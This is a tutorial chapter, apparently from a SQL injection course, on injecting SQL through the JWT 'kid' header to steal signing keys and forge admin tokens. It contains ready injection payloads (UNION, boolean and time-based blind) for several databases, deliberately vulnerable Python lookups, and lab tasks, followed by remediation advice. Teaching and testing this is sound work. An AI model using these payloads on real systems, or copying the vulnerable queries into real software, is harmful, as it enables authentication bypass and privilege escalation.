JSON Web Tokens (JWT) can contain SQL injection vulnerabilities when the kid (Key ID) header parameter is used to retrieve cryptographic keys from a database. This guide covers how SQL injection in JWT processing can lead to signature bypass and token forgery.
A JWT consists of three parts:
header.payload.signature
Example:
eyJhbGciOiJIUzI1NiIsICJraWQiOiIxIn0.eyJ1c2VyIjoiYWRtaW4ifQ.signature
Header (Decoded):
{
"alg": "HS256",
"kid": "1"
}Payload (Decoded):
{
"user": "admin",
"role": "administrator"
}The kid (Key ID) header parameter identifies which cryptographic key was used to sign the JWT. Applications often retrieve keys from databases:
def get_signing_key(kid):
# VULNERABLE - SQL injection in JWT processing
query = f"SELECT key FROM jwt_keys WHERE kid = '{kid}'"
return db.execute(query)| Step | Action | Result |
|---|---|---|
| 1 | Attacker crafts JWT | Malicious KID parameter injected |
| 2 | Application extracts KID | From JWT header |
| 3 | SQL query executed | To retrieve signing key |
| 4 | Injection modifies lookup | Returns unexpected key |
| 5 | Attacker forges tokens | Valid JWT with compromised key |
Malicious JWT Header:
{
"alg": "HS256",
"kid": "1' OR '1'='1"
}Resulting SQL:
SELECT key FROM jwt_keys WHERE kid = '1' OR '1'='1'
-- Returns first key, any key, or predictable keyPayload:
{
"alg": "HS256",
"kid": "1' UNION SELECT 'attacker-controlled-key'--"
}Resulting SQL:
SELECT key FROM jwt_keys WHERE kid = '1'
UNION SELECT 'attacker-controlled-key'--'Attack:
- Inject a union to return attacker-controlled key
- Sign JWT with that key
- Token validates successfully
True Condition:
{
"kid": "1' AND (SELECT SUBSTRING(key,1,1) FROM jwt_keys WHERE kid='1')='a'--"
}Detection:
- If condition true: Normal JWT validation proceeds
- If condition false: Key not found, validation fails
Payload:
{
"kid": "1' AND (SELECT pg_sleep(5)) IS NULL--"
}Detection:
- 5 second delay confirms injection
- No delay = not vulnerable or condition false
Vulnerable Code:
def verify_jwt(token):
header = decode_base64(token.split('.')[0])
kid = header['kid']
# VULNERABLE
key = db.query(f"SELECT key FROM jwt_keys WHERE kid = '{kid}'")[0]
return verify_signature(token, key)Attack:
{
"alg": "HS256",
"kid": "1' UNION SELECT 'secret'--",
"user": "admin",
"role": "administrator"
}Sign with secret → Token validates as legitimate
Attack Steps:
- Obtain valid JWT as regular user
- Modify payload to
role: "admin" - Use SQL injection in KID to retrieve signing key
- Re-sign modified token
- Access admin functions
Blind Extraction:
{
"kid": "1' AND ASCII(SUBSTRING((SELECT key FROM jwt_keys LIMIT 1),1,1))=115--"
}Extract key character by character using boolean responses.
{
"kid": "1' UNION SELECT 'hacked'--"
}Time-Based:
{
"kid": "1' AND (SELECT SLEEP(5))--"
}{
"kid": "1' UNION SELECT 'hacked'--"
}Time-Based:
{
"kid": "1' AND (SELECT pg_sleep(5)) IS NULL--"
}{
"kid": "1' UNION SELECT 'hacked'--"
}Time-Based:
{
"kid": "1'; WAITFOR DELAY '0:0:5'--"
}{
"kid": "1' UNION SELECT 'hacked' FROM DUAL--"
}Time-Based:
{
"kid": "1' AND DBMS_LOCK.SLEEP(5)=0--"
}Look for:
- JWT validation endpoints
- Key retrieval from database
- Dynamic key lookup by KID
Basic Test:
{
"alg": "HS256",
"kid": "'"
}Error Indicators:
- Database error in logs
- Different validation behavior
- SQL syntax error messages
Boolean Test:
{
"kid": "1' AND '1'='1" → Should validate
"kid": "1' AND '1'='2" → Should fail
}Time Test:
{
"kid": "1' AND (SELECT SLEEP(5))--"
}Once confirmed:
- Extract signing key
- Forge arbitrary tokens
- Escalate privileges
Secure Code:
def get_signing_key(kid):
# SECURE
query = "SELECT key FROM jwt_keys WHERE kid = ?"
return db.execute(query, (kid,))def validate_kid(kid):
# KID should be alphanumeric only
if not re.match(r'^[a-zA-Z0-9_-]+$', kid):
raise ValueError("Invalid KID format")
return kid# Cache keys in memory, avoid DB lookups
KEY_CACHE = {}
def get_signing_key(kid):
if kid not in KEY_CACHE:
key = fetch_from_db(kid)
KEY_CACHE[kid] = key
return KEY_CACHE[kid]def verify_jwt(token):
header = decode_header(token)
# Verify algorithm is expected
if header['alg'] not in ['HS256', 'RS256']:
raise ValueError("Unsupported algorithm")
# Continue with key retrieval...Setup:
- Application uses JWT with KID database lookup
- MySQL backend
Task:
- Craft JWT with SQL injection in KID
- Bypass signature verification
- Forge admin token
Payload:
{
"alg": "HS256",
"kid": "1' OR '1'='1",
"user": "admin",
"role": "administrator"
}Setup:
- Blind SQL injection in KID processing
- No error messages
Task:
- Use boolean-based blind to detect injection
- Extract signing key character by character
- Forge valid tokens
Setup:
- No visible error differences
- Database supports time delays
Task:
- Inject time-based payload in KID
- Measure response times
- Confirm injection and extract data
- JWT KID parameter can be injection point - Often overlooked
- Key retrieval from DB = SQL injection risk - If not parameterized
- SQL injection in JWT = signature bypass - Can forge arbitrary tokens
- Blind techniques work - No visible output needed
- Input validation on KID - Alphanumeric only
Continue to 17 - GraphQL SQL Injection to learn about GraphQL API vulnerabilities.